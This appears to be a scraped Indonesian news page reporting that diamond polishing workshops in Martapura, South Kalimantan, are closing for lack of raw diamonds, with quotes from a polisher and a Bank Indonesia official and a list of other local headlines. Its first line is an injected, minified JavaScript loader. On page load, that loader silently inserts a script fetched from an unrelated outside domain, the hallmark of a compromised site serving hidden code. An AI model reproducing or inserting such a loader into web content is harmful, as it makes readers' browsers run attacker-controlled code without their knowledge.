(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Bahan Baku Sulit Dicari, Penggosok Intan Kini Bertumbangan


BANJARMASIN, Sulitnya mendapatkan komoditas batu permata jenis Intan di Pertambangan Rakyat pada daerah Cempaka, membuat banyak usaha Penggosokan Intan bertumbangan di Kota Martapura Kabupaten Banjar.

Salah satu Penggosok Intan di Pusat Informasi Pariwisata dan Penggosokan Intan Martapura Kalsel binaan Bank Indonesia (BI) H Burhanuddin mengakui, sudah banyak sekali koleganya yang tidak membuka jasa penggosokan Intan lagi karena sepi pengorder.

“Bahan baku Intannya kini sulit dicari, kalau pun ada masih lebih banyak jasa penggosoknya ketimbang order yang didapat. Akibatnya jika dulu hampir 75 persen warga Martapura adalah penggosok Intan, kini sudah banyak sekali yang tidak lagi melakukannya,” ucapnya, Sabtu (16/3).

Bahkan terkhusus di Pusat Informasi Pariwisata dan Penggosokan Intan Martapura, dari 20 orang penggosok kini sudah berkurang menjadi hanya 4 orang saja. “Empat orang ini pun kerjanya tidak penuh waktu lagi. Karena tidak setiap hari mereka mendapatkan order penggosokan Intan dari konsumen,” tambahnya.

Selain bahan baku Intan yang sulit dicari, banyaknya batu permata dari luar yang kini juga dijual di Kalsel juga menjadi salah satu alasan berkurangnya minat turis lokal maupun luar untuk membeli Intan khas Martapura.

“Memang tidak secara signifikan berkurangnya untuk peminat Intan, masih tetap besar. Untuk harganya sendiri tidak ada patokan khusus, karena sangat tergantung dengan warna, pemotongannya, kejernihan warnanya dan nilai karatnya,” ungkapnya.

Sementara itu, Deputi Kepala Perwakilan BI Kalsel Mohd Irwan menambahkan, penggosokan Intan di Martapura merupakan aset wisata yang harus dipertahankan dan dilestarikan. Karena hal tersebut merupakan bagian dari wisata lokal yang bisa menjadi daya tarik bagi turis yang datang ke Banua.

“Makanya Bank Indonesia membangun Pusat Penggosokan Intan di Martapura dan mengumpulkan para penggosok disini untuk beraktifitas. Tujuannya tidak lain agar bisa menjadi magnet wisata tersendiri bagi turis yang berkunjung ke Kalsel,” tukasnya. (arief)

Reporter:Arief
Editor:Chell

Desy Arfianty

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

3 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

3 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

5 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

8 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

9 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

10 jam ago

This website uses cookies.